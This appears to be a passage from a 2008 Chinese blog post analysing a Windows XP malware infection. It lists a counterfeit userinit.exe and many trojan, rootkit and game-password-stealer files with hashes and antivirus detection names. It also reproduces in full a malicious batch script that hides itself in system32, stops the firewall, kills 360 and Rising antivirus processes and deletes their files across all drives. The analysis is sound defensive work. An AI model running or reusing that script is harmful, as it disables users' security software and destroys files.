woauolt.exe,System.exe,Update.dll,MPKrnl.dll,360mon.dll,upnpsrv.dll等2

woauolt.exe,System.exe,Update.dll,MPKrnl.dll,360mon.dll,upnpsrv.dll等2

 

endurer 原创

2008-11-17 第1版

 

（续1）

 

由于连不了网，所以上面的log是使用机子中上次留存的老版本的pe_xscan来扫描的。该版本没有集成数字签名检测信息。不过userinit.exe进程没有自动退出，实在令人怀疑。事后用FileInfo检测：

 

文件说明符 : c:/windows/system32/userinit.exe
属性 : A---
数字签名:否
PE文件:是
语言 : 中文(中国)
文件版本 : 5.1.2600.2180 (xpsp_sp2_rtm.040803-2158)
说明 : Userinit Logon Application
版权 : (C) Microsoft Corporation. All rights reserved.
产品版本 : 5, 1, 2600, 2180
产品名称 : Microsoft(R) Windows(R) Operating System
公司名称 : Microsoft Corporation
内部名称 : USERINIT.EXE
源文件名 : userinit.exe
创建时间 : 2004-8-23 16:0:0
修改时间 : 2004-8-23 16:0:0
大小 : 23552 字节 23.0 KB
MD5 : e4a202eb42d229c2966a2910eee36650
SHA1: D4D482212DA83176560222B53CA1F0468BBC9E25
CRC32: 0c4b40ab

 

卡巴斯基报为：Trojan-Downloader.Win32.Agent.aokz，瑞星报为：Trojan.DL.Win32.Mnless.bnn

 

果然没有通过M$的数字签名，是假冒的，正牌的是：

 

文件说明符 : C:/WINDOWS/system32/dllcache/userinit.exe
属性 : A---
数字签名:Microsoft Corporation
PE文件:是
语言 : 中文(中国)
文件版本 : 5.1.2600.2180 (xpsp_sp2_rtm.040803-2158)
说明 : Userinit Logon Application
版权 : (C) Microsoft Corporation. All rights reserved.
产品版本 : 5.1.2600.2180
产品名称 : Microsoft(R) Windows(R) Operating System
公司名称 : Microsoft Corporation
内部名称 : userinit
源文件名 : USERINIT.EXE
创建时间 : 2006-3-30 17:3:34
修改时间 : 2004-8-23 16:0:0
大小 : 23552 字节 23.0 KB
MD5 : 7bd70ec53cb7398246c84d25bff33aa8
SHA1: AE918E73328025534A69BDB5D004611A01CCC555
CRC32: 40d82a61

 

由于病毒替换了不少系统文件，因此杀毒后系统的某些功能会失效~

 

附部分恶意文件信息：

 

c:/windows/system32/cmd.bat
/---
@echo off
set s=TASKKILL
copy %0 %windir%/system32/cmd.bat
attrib %windir%/system32/cmd.bat +r +s +h
net stop sharedaccess >nul
%s% /im 360* /f >nul
%s% /im RStray /f >nul
net stop Shadow" "System" "Service
set alldrive=d e f g h i j k l m n o p q r s t u v w x y z
for %%a in (c %alldrive%) do del %%a:/360* /f /s /q >nul
for %%a in (c %alldrive%) do del %%a:/修复* /f /s /q >nul
for %%a in (c %alldrive%) do del %%a:/RStray* /f /s /q >nul
---/

文件说明符 : C:/WINDOWS/system32/SafeMon0.sys
属性 : A---
获取文件版本信息大小失败!
创建时间 : 2000-1-1 0:16:34
修改时间 : 2000-1-1 0:16:40
访问时间 : 2000-1-2 0:0:0
大小 : 5856 字节 5.736 KB
MD5 : 8cc7ad0490b269be693c127e65cff4fb
SHA1: 8B3514C5232FC838B340E4D783EEEB899460245F
CRC32: 4dd9dd61

卡巴斯基报为：Trojan.Win32.Agent.amvg，瑞星报为：RootKit.Win32.Undef.VB

文件说明符 : C:/WINDOWS/system32/4c70249.sys
属性 : A---
获取文件版本信息大小失败!
创建时间 : 2008-10-16 10:25:37
修改时间 : 2008-10-16 10:25:38
访问时间 : 2000-1-1 0:0:0
大小 : 5504 字节 5.384 KB
MD5 : 345d203dfd17a31c58d47400bf76b2ea
SHA1: 9A1FCD597CBC33CA99195983B044C267F554E38C
CRC32: e5067f1a

卡巴斯基报为：_Trojan-GameThief.Win32.OnLineGames.tnfj-，瑞星报为：_Trojan.PSW.Win32.OnlineGames.nj

文件说明符 : C:/Program Files/Internet Explorer/51u3ttMe.8ao
属性 : ASH-
获取文件版本信息大小失败!
创建时间 : 2000-1-1 0:51:45
修改时间 : 2000-1-1 0:51:46
访问时间 : 2000-1-2 0:0:0
大小 : 46190 字节 45.110 KB
MD5 : ecedb93c277441d672f74ee06dd7fc75
SHA1: F6125D19001AE318B39F765CCB009B559CEFF1BC
CRC32: 5b98062f

卡巴斯基报为：_Worm.Win32.AutoRun.rtw，瑞星报为：_Worm.Win32.PaBug.iy

文件说明符 : C:/Program Files/Internet Explorer/53u1ttMe.2ys
属性 : ASH-
获取文件版本信息大小失败!
创建时间 : 2008-10-16 10:31:6
修改时间 : 2000-1-1 0:52:8
访问时间 : 2000-1-2 0:0:0
大小 : 46205 字节 45.125 KB
MD5 : 03c20b5f7f92e9557bee2406dd726a12
SHA1: B7281C804E0AE8A0B766BFE4933CC6F3560DCAE5
CRC32: 7e1463d7

卡巴斯基报为：_Worm.Win32.AutoRun.rge，瑞星报为：Worm.Win32.PaBug.iw

文件说明符 : C:/WINDOWS/system32/drivers/aliimz
属性 : A---
获取文件版本信息大小失败!
创建时间 : 2000-1-1 0:1:49
修改时间 : 2000-1-1 23:9:38
访问时间 : 2000-1-1 0:0:0
大小 : 2784 字节 2.736 KB
MD5 : 69290c6149e41093e2017570a7fad6d7
SHA1: 532418C19D79EF62F14BA3DE34CCC74A766C0A8B
CRC32: 6b80165b

瑞星报为：RootKit.Win32.RESSDT.gk

文件说明符 : C:/WINDOWS/system32/drivers/pppccc.sys
属性 : A---
获取文件版本信息大小失败!
创建时间 : 2000-1-1 0:14:5
修改时间 : 2000-1-1 0:14:6
访问时间 : 2000-1-2 0:0:0
大小 : 3328 字节 3.256 KB
MD5 : 632e1835fd67095a6ba641280bc8e7f5
SHA1: 80A0E132904F956D7B7CE7E3E7EE34F35028B025
CRC32: 39ee6db6

卡巴斯基报为：Trojan-PSW.Win32.OnLineGames.rzlt，瑞星报为：RootKit.Win32.RESSDT.cs

文件说明符 : C:/WINDOWS/system32/360mon.dll
属性 : A---
获取文件版本信息大小失败!
创建时间 : 2000-1-1 0:16:27
修改时间 : 2000-1-1 0:16:28
访问时间 : 2000-1-2 0:0:0
大小 : 14854 字节 14.518 KB
MD5 : 2178209f26935d8ee1323d5b009e24e7
SHA1: ABE76692FFB2E942B1F9ECEF372E64A2C322CD5E
CRC32: 8b6f29b8

瑞星报为：Trojan.PSW.Win32.XYOnline.ago

文件说明符 : C:/windows/MPKrnl.dll
属性 : A---
获取文件版本信息大小失败!
创建时间 : 2000-1-1 0:27:43
修改时间 : 2000-1-1 0:27:46
访问时间 : 2000-1-2 0:0:0
大小 : 20480 字节 20.0 KB
MD5 : ca4f48568408d674690a54cd07332fdc
SHA1: DD4A3743DB7915EC10EE848337B0FD54C5FE4551
CRC32: 483158d7

卡巴斯基报为：Trojan-Downloader.Win32.Agent.ansh，瑞星报为：Worm.Win32.Agent.zv

文件说明符 : C:/WINDOWS/system32/aecff9.sys
属性 : A---
获取文件版本信息大小失败!
创建时间 : 2008-10-16 10:24:10
修改时间 : 2008-10-16 10:24:12
访问时间 : 2000-1-1 0:0:0
大小 : 5504 字节 5.384 KB
MD5 : 76e9ae190e26f8dad0c5773ee10ce713
SHA1: 98CC77F5C4457F8A146A65E423FAEBD590857CBF
CRC32: 3789a423

卡巴斯基报为：Trojan-GameThief.Win32.OnLineGames.tjox，瑞星报为：Trojan.PSW.Win32.GameOL.qor

文件说明符 : C:/WINDOWS/system32/businesnk.exe
属性 : A---
获取文件版本信息大小失败!
创建时间 : 2000-1-1 0:13:10
修改时间 : 2000-1-1 0:13:6
访问时间 : 2000-1-2 0:0:0
大小 : 12800 字节 12.512 KB
MD5 : f3947c7d4124895a2f562f13ec3f4069
SHA1: 211083C6F724FA4707E7EF7A2F19E27E35E851AD
CRC32: 264083f9

卡巴斯基报为：Trojan.Win32.Agent.xez，瑞星报为：Trojan.PSW.Win32.GameOL.ozr

文件说明符 : C:/WINDOWS/system32/businesn.dll
属性 : A---
获取文件版本信息大小失败!
创建时间 : 2000-1-1 0:13:6
修改时间 : 2000-1-1 0:15:56
访问时间 : 2000-1-2 0:0:0
大小 : 24576 字节 24.0 KB
MD5 : 6a7f1057cca9edcc24126d37a83c9fb3
SHA1: AE6282E12AB5ACD4B98587935A481C02DDF9B3B5
CRC32: b4cc197d

卡巴斯基报为：Trojan.Win32.Agent.von，瑞星报为：Trojan.Win32.Undef.qag

文件说明符 : C:/WINDOWS/system32/update.exe
属性 : A---
获取文件版本信息大小失败!
创建时间 : 2000-1-1 0:13:55
修改时间 : 2000-1-1 0:13:56
访问时间 : 2000-1-2 0:0:0
大小 : 6616 字节 6.472 KB
MD5 : f9810ad4170977f5b2bcedf8cb04a437
SHA1: 884089CF44E6B6AD709339A97ADD02285CD36288
CRC32: f05b4f66

卡巴斯基报为：Trojan.Win32.KillAV.ym，瑞星报为：Trojan.Win32.AvKiller.dh

文件说明符 : C:/windows/Update.dll
属性 : A---
获取文件版本信息大小失败!
创建时间 : 2000-1-1 0:22:9
修改时间 : 2000-1-1 0:22:10
访问时间 : 2000-1-2 0:0:0
大小 : 237568 字节 232.0 KB
MD5 : 5f4c5cb28dd71272f3330338fa04440b
SHA1: 9524C4B5654F926A21C842B6BFA0EFBEF19CBE8F
CRC32: 75b36536

卡巴斯基报为：Trojan.Win32.Qhost.kmd，瑞星报为：Trojan.Win32.QHost.asl

文件说明符 : C:/WINDOWS/system32/谱氖缷辽蒶.exe
属性 : A---
获取文件版本信息大小失败!
创建时间 : 2000-1-1 0:8:11
修改时间 : 2000-1-1 0:8:12
访问时间 : 2000-1-2 0:0:0
大小 : 13312 字节 13.0 KB
MD5 : 6fff440d127acf1016f5e8e0af7f61df
SHA1: EB0BD8046F2A5C9A5375B62F349BCAD6A05578CC
CRC32: 09d8fbb1

 

卡巴斯基报为：Trojan-GameThief.Win32.OnLineGames.trwm，瑞星报为：Trojan.PSW.Win32.GameOL.rnf

 

文件说明符 : c:/windows/system32/csrss.dll
属性 : A---
数字签名:否
PE文件:是
获取文件版本信息大小失败!
创建时间 : 2000-1-1 0:35:42
修改时间 : 2005-7-26 12:39:50
大小 : 37888 字节 37.0 KB
MD5 : 1454db4aba78903dca39af4b1b490534
SHA1: D638C16AEBC1DB084C58DB2AEC071E7ABF370E8E
CRC32: 14343be8

 

卡巴斯基报为：Trojan-GameThief.Win32.Magania.ajlg，瑞星报为：Trojan.PSW.Win32.GameOL.rpp

文件说明符 : C:/WINDOWS/system32/drivers/HBKernel32.sys
属性 : A---
获取文件版本信息大小失败!
创建时间 : 2008-10-16 10:21:36
修改时间 : 2000-1-1 0:45:20
访问时间 : 2000-1-2 0:0:0
大小 : 16343 字节 15.983 KB
MD5 : 900c3650ca2d45d322a603cfa53e9d10
SHA1: 4708DA9C5162883E42883E7591B6C0EA28747A3E
CRC32: 56ed0772

文件说明符 : C:/WINDOWS/system32/C250CF20.dll
属性 : ASH-
获取文件版本信息大小失败!
创建时间 : 2008-10-16 10:25:13
修改时间 : 2008-10-16 10:25:14
访问时间 : 2000-1-1 0:0:0
大小 : 11654 字节 11.390 KB
MD5 : bc1904db10da3a757054fb1d27b751ad
SHA1: 61D9003019A8E847B757108C2A1FD77F11667126
CRC32: c6789099

文件说明符 : C:/WINDOWS/system32/E4814792.dll
属性 : ASH-
获取文件版本信息大小失败!
创建时间 : 2008-10-16 10:25:38
修改时间 : 2008-10-16 10:25:40
访问时间 : 2000-1-1 0:0:0
大小 : 11055 字节 10.815 KB
MD5 : 073409995dd68f7ba760fe463cc856ed
SHA1: BAC4319BA1C0E203E48EB5321378156663BBECCB
CRC32: adbea0d8

 

文件说明符 : C:/WINDOWS/system32/8882fa1.sys
属性 : A---
获取文件版本信息大小失败!
创建时间 : 2008-10-16 10:26:19
修改时间 : 2008-10-16 10:26:20
访问时间 : 2000-1-1 0:0:0
大小 : 5504 字节 5.384 KB
MD5 : a28467c5f5b8e7f6b4b288471d2a60cf
SHA1: 4A9A42FA0E6E59CA49CAA8CDCDFB902D3A17FE9D
CRC32: c0b7b2e3

 

文件说明符 : C:/WINDOWS/system32/c551839.sys
属性 : A---
获取文件版本信息大小失败!
创建时间 : 2008-10-16 10:26:43
修改时间 : 2008-10-16 10:26:44
访问时间 : 2000-1-1 0:0:0
大小 : 5504 字节 5.384 KB
MD5 : b44832a0bfe79fc6ef60a691c3216e25
SHA1: 5F3B58704A70331B5B49D721552392FB1C8F6902
CRC32: c60de33e

文件说明符 : C:/WINDOWS/system32/7ADC2AB1.dll
属性 : ASH-
获取文件版本信息大小失败!
创建时间 : 2008-10-16 10:26:45
修改时间 : 2008-10-16 10:26:46
访问时间 : 2000-1-1 0:0:0
大小 : 11227 字节 10.987 KB
MD5 : 4557cacd1c7ad5fa6765e0efa7425007
SHA1: 9006D42247DB1979417413FFDC0981DD70A2C364
CRC32: 3e834f85

 

文件说明符 : C:/WINDOWS/system32/22D75360.dll
属性 : ASH-
获取文件版本信息大小失败!
创建时间 : 2008-10-16 10:25:59
修改时间 : 2008-10-16 10:27:8
访问时间 : 2000-1-1 0:0:0
大小 : 216484 字节 211.420 KB
MD5 : 99a834d7010ad97d5b7e7b1a091ad8d0
SHA1: 0FE067C208EDEC333C2C8979904B49086423D763
CRC32: 954f7ade

 

文件说明符 : C:/WINDOWS/system32/4BF9CBA3.dll
属性 : ASH-
获取文件版本信息大小失败!
创建时间 : 2008-10-16 10:27:23
修改时间 : 2008-10-16 10:27:24
访问时间 : 2000-1-1 0:0:0
大小 : 216899 字节 211.835 KB
MD5 : 233055a081ca5cbd5c48f37715a378dc
SHA1: 6972FB388C0137D3811CA001A02932A693846415
CRC32: 7665b13e

 

文件说明符 : C:/WINDOWS/system32/3474A8C2.dll
属性 : ASH-
获取文件版本信息大小失败!
创建时间 : 2008-10-16 10:26:22
修改时间 : 2008-10-16 10:27:46
访问时间 : 2000-1-1 0:0:0
大小 : 216157 字节 211.93 KB
MD5 : 3995d39c77205ec3a4e5d8679549cefb
SHA1: 5E816594E48D03E106297C72D0A5FD3931B8B690
CRC32: a2235a89

 

文件说明符 : C:/WINDOWS/system32/DA63E650.dll
属性 : ASH-
获取文件版本信息大小失败!
创建时间 : 2008-10-16 10:28:1
修改时间 : 2008-10-16 10:28:2
访问时间 : 2000-1-1 0:0:0
大小 : 12789 字节 12.501 KB
MD5 : dab493b0f1113d82966dad63551fbe23
SHA1: 023013191F82FBBC96194A21BADAAE2373D8BBCB
CRC32: 22205121

 

文件说明符 : C:/WINDOWS/system32/B3721C07.dll
属性 : ASH-
获取文件版本信息大小失败!
创建时间 : 2008-10-16 10:28:34
修改时间 : 2008-10-16 10:28:36
访问时间 : 2000-1-1 0:0:0
大小 : 12386 字节 12.98 KB
MD5 : a17be297ad7567499ff2c5568a849fcf
SHA1: 990D8EC92C41F071BF422ACF23D494299E0CF86B
CRC32: 284fd3a7

 

文件说明符 : C:/WINDOWS/system32/4EFDDEBE.dll
属性 : ASH-
获取文件版本信息大小失败!
创建时间 : 2008-10-16 10:28:53
修改时间 : 2008-10-16 10:28:54
访问时间 : 2000-1-1 0:0:0
大小 : 12625 字节 12.337 KB
MD5 : 166fb969cb4065cb73b5d4e0d62765b2
SHA1: 55EA91E65C6D4B79DD79354329238D055E13932D
CRC32: b6caae27

 

文件说明符 : C:/WINDOWS/system32/8566F82E.dll
属性 : ASH-
获取文件版本信息大小失败!
创建时间 : 2008-10-16 10:29:12
修改时间 : 2008-10-16 10:29:14
访问时间 : 2000-1-1 0:0:0
大小 : 12415 字节 12.127 KB
MD5 : e9beb616987c0ca5c7f73cce8a74b36a
SHA1: 8BBDBFEB194A6810A9BD2CE6DB2F3DE77525503D
CRC32: 4bb308e9

 

文件说明符 : C:/WINDOWS/system32/495271CA.dll
属性 : ASH-
获取文件版本信息大小失败!
创建时间 : 2008-10-16 10:29:33
修改时间 : 2008-10-16 10:29:34
访问时间 : 2000-1-1 0:0:0
大小 : 11925 字节 11.661 KB
MD5 : 641c7cd68acd069ed40014e23597086f
SHA1: 9DAF2209B5DCAEA48231FF30CD9E1284CDCCDFA6
CRC32: e08f705f

 

文件说明符 : C:/WINDOWS/system32/08223B03.dll
属性 : ASH-
获取文件版本信息大小失败!
创建时间 : 2008-10-16 10:29:55
修改时间 : 2008-10-16 10:29:56
访问时间 : 2000-1-1 0:0:0
大小 : 11857 字节 11.593 KB
MD5 : f00b595e48a0fa155880c93aa01839e4
SHA1: CDBBCB4D655FB7B0AAB05256D13388BA124B1B08
CRC32: 8e31baab

 

文件说明符 : C:/WINDOWS/system32/9CA963CA.dll
属性 : ASH-
获取文件版本信息大小失败!
创建时间 : 2008-10-16 10:30:16
修改时间 : 2008-10-16 10:30:18
访问时间 : 2000-1-1 0:0:0
大小 : 11911 字节 11.647 KB
MD5 : a64403424cfadc650a96a7443c13f5ef
SHA1: 23F058D338C9A851F4119F55E67E754F7835DEA1
CRC32: 97c7baa0

文件说明符 : C:/WINDOWS/system32/woauolt.exe
属性 : A---
获取文件版本信息大小失败!
创建时间 : 2008-10-16 10:14:15
修改时间 : 2008-10-16 10:13:10
访问时间 : 2000-1-1 0:0:0
大小 : 23757 字节 23.205 KB
MD5 : 81f8b47330e29901567f2b7f42689d7d
SHA1: 04A006F094B245439925231EE1579F25E08B1696
CRC32: b6d563c2

 

文件说明符 : C:/WINDOWS/system32/System.exe
属性 : A---
语言 : 英语(美国)
文件版本 : 1, 2, 1, 1007
说明 : HB Inject Application Version 1.2.1.1007
版权 : Copyright ? 2008, HB Software
备注 :
产品版本 : 1, 2, 1, 1007
产品名称 : HB Inject Application
公司名称 : HB Software
合法商标 :
内部名称 : HBInject
源文件名 : HBInject.exe
创建时间 : 2008-10-16 10:21:37
修改时间 : 2008-10-16 10:21:40
访问时间 : 2000-1-1 0:0:0
大小 : 3572 字节 3.500 KB
MD5 : dd62c474ee9c417466cd55adcaf63fd2
SHA1: 8478E49534628AC17E6B27C4F0E3625B2FE08076
CRC32: c2450b3f

 

文件说明符 : C:/WINDOWS/system32/4901228.sys
属性 : A---
获取文件版本信息大小失败!
创建时间 : 2008-10-16 10:23:12
修改时间 : 2008-10-16 10:23:14
访问时间 : 2000-1-1 0:0:0
大小 : 5504 字节 5.384 KB
MD5 : 2c447dcf5b4f44ca4a44ecea73bbebf1
SHA1: 285376C51E98176BCCEC889B71FAE522564D7C6F
CRC32: 79292500

 

文件说明符 : C:/WINDOWS/system32/43ACDCC5.dll
属性 : ASH-
获取文件版本信息大小失败!
创建时间 : 2008-10-16 10:23:14
修改时间 : 2008-10-16 10:23:16
访问时间 : 2000-1-1 0:0:0
大小 : 13419 字节 13.107 KB
MD5 : ba2f50deeb1df9c7fbd2b8a6da5398a2
SHA1: AF4F6A00828587C2A68D2E6F0B2F984A88F54351
CRC32: bef6e2f2

 

文件说明符 : C:/WINDOWS/system32/DE02F764.dll
属性 : ASH-
获取文件版本信息大小失败!
创建时间 : 2008-10-16 10:23:35
修改时间 : 2008-10-16 10:23:36
访问时间 : 2000-1-1 0:0:0
大小 : 217211 字节 212.123 KB
MD5 : 5d2f03f211d5b0bcb67f3e9be82d2106
SHA1: E3E9273AAC242DD3712F97D1ACFA362594FCD145
CRC32: 5cc82e8d

 

文件说明符 : C:/WINDOWS/system32/d4f876.sys
属性 : A---
获取文件版本信息大小失败!
创建时间 : 2008-10-16 10:23:50
修改时间 : 2008-10-16 10:23:52
访问时间 : 2000-1-1 0:0:0
大小 : 5504 字节 5.384 KB
MD5 : 3149f8354e37b748ccc217f98808b1d9
SHA1: 035918F6625BB6C2B7F3208B05E6D910C290F236
CRC32: a0928e20

 

文件说明符 : C:/WINDOWS/system32/C56BCC10.dll
属性 : ASH-
获取文件版本信息大小失败!
创建时间 : 2008-10-16 10:23:51
修改时间 : 2008-10-16 10:23:52
访问时间 : 2000-1-1 0:0:0
大小 : 165124 字节 161.260 KB
MD5 : 64625b1648877f5ceeb9eb3fbc8eb487
SHA1: FB888AC78BD519EF1126CF2A2AE198239C555DA0
CRC32: 50800153

 

文件说明符 : C:/WINDOWS/system32/122B901E.dll
属性 : ASH-
获取文件版本信息大小失败!
创建时间 : 2008-10-16 10:24:11
修改时间 : 2008-10-16 10:24:12
访问时间 : 2000-1-1 0:0:0
大小 : 12041 字节 11.777 KB
MD5 : 304c0c8d2eb35db074032b81191d9be4
SHA1: 695946707986AD22645DFF33AC70FDFC5B6A4346
CRC32: 0494c199

 

文件说明符 : C:/WINDOWS/system32/82710040.dll
属性 : ASH-
获取文件版本信息大小失败!
创建时间 : 2008-10-16 10:24:34
修改时间 : 2008-10-16 10:24:36
访问时间 : 2000-1-1 0:0:0
大小 : 11405 字节 11.141 KB
MD5 : 7cdccd1611119ea19272a67bba7ea1ab
SHA1: 544BD82AEC7759C23D83D1E7D0836234DD23E25F
CRC32: 99e4da30

文件说明符 : C:/WINDOWS/system32/HBSO2.dll
属性 : A---
获取文件版本信息大小失败!
创建时间 : 2000-1-1 0:5:56
修改时间 : 2000-1-1 0:5:58
访问时间 : 2000-1-2 0:0:0
大小 : 24576 字节 24.0 KB
MD5 : 4de3e578ae1d52947873e3a773a252ec
SHA1: 4BEFC98684939EA360A5052E065C69221D1428E6
CRC32: f0b143da

 

文件说明符 : C:/WINDOWS/system32/HBTL.dll
属性 : A---
获取文件版本信息大小失败!
创建时间 : 2000-1-1 0:10:26
修改时间 : 2000-1-1 0:6:52
访问时间 : 2000-1-1 0:0:0
大小 : 16896 字节 16.512 KB
MD5 : 8d8717f3a7862f7e5d3d32b1350d6050
SHA1: 393C21C7F51DB9CC2FBF2E117A0171C3AB6EAE9A
CRC32: d77fc24a

 

文件说明符 : C:/WINDOWS/system32/HBBO.dll
属性 : A---
获取文件版本信息大小失败!
创建时间 : 2008-10-16 10:22:52
修改时间 : 2000-1-1 0:7:38
访问时间 : 2000-1-2 0:0:0
大小 : 24576 字节 24.0 KB
MD5 : f87648c2442fac7d6175200f7c07e4b2
SHA1: 7BA804C4F92AA11ABCEFE199CD6B67CA448C6510
CRC32: 725c71c5

 

文件说明符 : C:/WINDOWS/system32/craoe.dll
属性 : A---
获取文件版本信息大小失败!
创建时间 : 2000-1-2 16:21:32
修改时间 : 2000-1-1 0:8:12
访问时间 : 2000-1-2 0:0:0
大小 : 28672 字节 28.0 KB
MD5 : 8e8b756fe83142e123bd42ec6617e59b
SHA1: 1F6FE428F7D81E72044EA3A6231DE55429E9B2BC
CRC32: a6d227bc

文件说明符 : C:/WINDOWS/system32/xsisco.dll
属性 : A---
获取文件版本信息大小失败!
创建时间 : 2000-1-2 16:22:20
修改时间 : 2000-1-1 0:9:22
访问时间 : 2000-1-2 0:0:0
大小 : 24576 字节 24.0 KB
MD5 : f3898e5ffb479a1bcf89788c8d2d8460
SHA1: ADAE5FAB35F32D6623886D3797C9B2908665D56D
CRC32: 81fc583c

 

文件说明符 : C:/WINDOWS/system32/cenbezn.dll
属性 : A---
获取文件版本信息大小失败!
创建时间 : 2000-1-2 17:22:36
修改时间 : 2000-1-1 0:9:56
访问时间 : 2000-1-2 0:0:0
大小 : 28672 字节 28.0 KB
MD5 : c73e38be089f2994249f4554f175902d
SHA1: 4A16A4B70D3832DF1F465B5C2D9501BBA501F39E
CRC32: 0e47d025

 

文件说明符 : C:/WINDOWS/system32/meyotme.dll
属性 : A---
获取文件版本信息大小失败!
创建时间 : 2000-1-2 17:22:44
修改时间 : 2000-1-1 0:10:14
访问时间 : 2000-1-2 0:0:0
大小 : 28672 字节 28.0 KB
MD5 : 2e4e59b873badde432f71b9634416101
SHA1: B4E9FC340C10E316CBA03FF57CEFA64626535597
CRC32: b49e5a42

 

文件说明符 : C:/WINDOWS/system32/HBDNF.dll
属性 : A---
获取文件版本信息大小失败!
创建时间 : 2000-1-1 0:10:18
修改时间 : 2000-1-1 0:10:20
访问时间 : 2000-1-1 0:0:0
大小 : 16384 字节 16.0 KB
MD5 : 421211775bd0d7f22ce3397cfadfb786
SHA1: 0E925CEE7FA926FB299910E0F149F41509199FE0
CRC32: 516075bb

 

文件说明符 : C:/WINDOWS/system32/batteo.dll
属性 : A---
获取文件版本信息大小失败!
创建时间 : 2000-1-2 17:23:26
修改时间 : 2000-1-1 0:11:4
访问时间 : 2000-1-2 0:0:0
大小 : 28672 字节 28.0 KB
MD5 : cd2905efb0e29b1badfe38a055ed6ad9
SHA1: 8EA59F1057C2FDB63464C8FA54FF3189419B76A1
CRC32: 2a27b4cd

 

文件说明符 : C:/WINDOWS/system32/D7C79813.dll
属性 : ASH-
获取文件版本信息大小失败!
创建时间 : 2000-1-1 0:11:16
修改时间 : 2000-1-1 0:11:18
访问时间 : 2000-1-2 0:0:0
大小 : 11685 字节 11.421 KB
MD5 : a547182e1bffac822a35116fba0360fe
SHA1: AEFA21142E16568F80B88575E4531F6D8311CD69
CRC32: 806ed2ad

文件说明符 : C:/WINDOWS/system32/rexljeh.dll
属性 : A---
获取文件版本信息大小失败!
创建时间 : 2000-1-2 18:23:45
修改时间 : 2000-1-1 0:11:32
访问时间 : 2000-1-2 0:0:0
大小 : 28672 字节 28.0 KB
MD5 : d17d4c4a25677dc24a5d3c6cf6811ed7
SHA1: 52863805E73625871DEE8F87C8B87B2C7B84A71D
CRC32: a3256650

 

文件说明符 : C:/WINDOWS/system32/docyanx.dll
属性 : A---
获取文件版本信息大小失败!
创建时间 : 2000-1-2 18:23:52
修改时间 : 2000-1-1 0:11:54
访问时间 : 2000-1-2 0:0:0
大小 : 28672 字节 28.0 KB
MD5 : 72bd1cd7811ac82b5b4e03644ead1763
SHA1: 5A7EDBFBFF0C296E7238827F30FDAF85EBFDFDB0
CRC32: 75a3b474

 

文件说明符 : C:/WINDOWS/system32/19b5406.sys
属性 : A---
获取文件版本信息大小失败!
创建时间 : 2000-1-1 0:12:6
修改时间 : 2000-1-1 0:12:8
访问时间 : 2000-1-2 0:0:0
大小 : 5504 字节 5.384 KB
MD5 : da9d0876458efc23f2c2f0c4fc6f9a55
SHA1: A634192188A81855CA98CC3A0C114EF0D2F9FFA7
CRC32: a17317dd

 

文件说明符 : C:/WINDOWS/system32/3D144530.cfg
属性 : ASH-
获取文件版本信息大小失败!
创建时间 : 2000-1-2 0:48:8
修改时间 : 2000-1-1 0:12:36
访问时间 : 2000-1-2 0:0:0
大小 : 372 字节
MD5 : 9ed3ece76529fa39d9f0ece4cc8036d4
SHA1: 6A4D339FD4C9F4D5CCFCDCFA7CA70524F18A8894
CRC32: fe83ce64

 

文件说明符 : C:/WINDOWS/system32/mttwfh.dll
属性 : A-H-
获取文件版本信息大小失败!
创建时间 : 2000-1-1 0:12:47
修改时间 : 2000-1-1 0:12:48
访问时间 : 2000-1-1 0:0:0
大小 : 279552 字节 273.0 KB
MD5 : ff9c0a08040a440adde08ceef47118b5
SHA1: B053BBC3C06E342F8C3D5DBF5E2C95A8671CBD66
CRC32: 83108a94

 

文件说明符 : C:/WINDOWS/system32/58FF3024.dll
属性 : ASH-
获取文件版本信息大小失败!
创建时间 : 2000-1-1 0:13:9
修改时间 : 2000-1-1 0:13:10
访问时间 : 2000-1-2 0:0:0
大小 : 12976 字节 12.688 KB
MD5 : e516af53211e3339cd0fb6daf0b0ba74
SHA1: C6C70C3651093C50A1D4545D87F5E1E73B9164CC
CRC32: c14212fc

 

文件说明符 : C:/WINDOWS/system32/qanhllao.dll
属性 : A---
获取文件版本信息大小失败!
创建时间 : 2000-1-2 18:24:30
修改时间 : 2000-1-1 0:13:20
访问时间 : 2000-1-2 0:0:0
大小 : 28672 字节 28.0 KB
MD5 : fa3dbc1b089bed5e63232b87a8ba80f8
SHA1: B34F6FA86A5A8D290E811CA41E5C82CE813BFE85
CRC32: 96afb85a

 

文件说明符 : C:/WINDOWS/system32/wklsdd.dll
属性 : A-H-
获取文件版本信息大小失败!
创建时间 : 2000-1-1 0:13:36
修改时间 : 2000-1-1 0:13:38
访问时间 : 2000-1-2 0:0:0
大小 : 236544 字节 231.0 KB
MD5 : c78062c263e8f0aa87c7123e577e0aed
SHA1: 3B7E5D1FA9D4D516D95B029CA019117FCA75C08E
CRC32: 6f530c81

 

文件说明符 : C:/WINDOWS/system32/zongxim.dll
属性 : A---
获取文件版本信息大小失败!
创建时间 : 2000-1-2 18:24:43
修改时间 : 2000-1-1 0:13:58
访问时间 : 2000-1-2 0:0:0
大小 : 28672 字节 28.0 KB
MD5 : bd9aabfd8eff8ec5f436691c38aa84e0
SHA1: 779BDD863EDAB2B8E42ADF08410FB317A88782FF
CRC32: 210aafb8

 

文件说明符 : C:/WINDOWS/system32/nvidons.dll
属性 : A---
获取文件版本信息大小失败!
创建时间 : 2000-1-1 0:14:14
修改时间 : 2000-1-1 0:14:16
访问时间 : 2000-1-2 0:0:0
大小 : 24576 字节 24.0 KB
MD5 : 6665debb26e11561af36633fe93dba76
SHA1: 95FE8415AC73E097EFF0C927CEE711E077486AD4
CRC32: 8190f7b6

 

文件说明符 : C:/WINDOWS/system32/tdffdl.dll
属性 : A-H-
获取文件版本信息大小失败!
创建时间 : 2000-1-1 0:14:33
修改时间 : 2000-1-1 0:14:34
访问时间 : 2000-1-2 0:0:0
大小 : 229376 字节 224.0 KB
MD5 : 6666b1dfafe550a3c8e1454a00e99f51
SHA1: 8E229D4436FCC83FF3652EC3BC9EB42BDB526557
CRC32: 49182e3e

 

文件说明符 : C:/WINDOWS/system32/wonlins.dll
属性 : A---
获取文件版本信息大小失败!
创建时间 : 2000-1-2 18:25:3
修改时间 : 2000-1-1 0:14:36
访问时间 : 2000-1-2 0:0:0
大小 : 28672 字节 28.0 KB
MD5 : 4b4ecaa1b3c6aaab54fa30c950247ef8
SHA1: 40D4CDCBDFAD83EB19E43C225E1D02E4D5E154A0
CRC32: 4923ef3c

 

文件说明符 : C:/WINDOWS/system32/zesttns.dll
属性 : A---
获取文件版本信息大小失败!
创建时间 : 2000-1-2 18:25:11
修改时间 : 2000-1-1 0:15:10
访问时间 : 2000-1-2 0:0:0
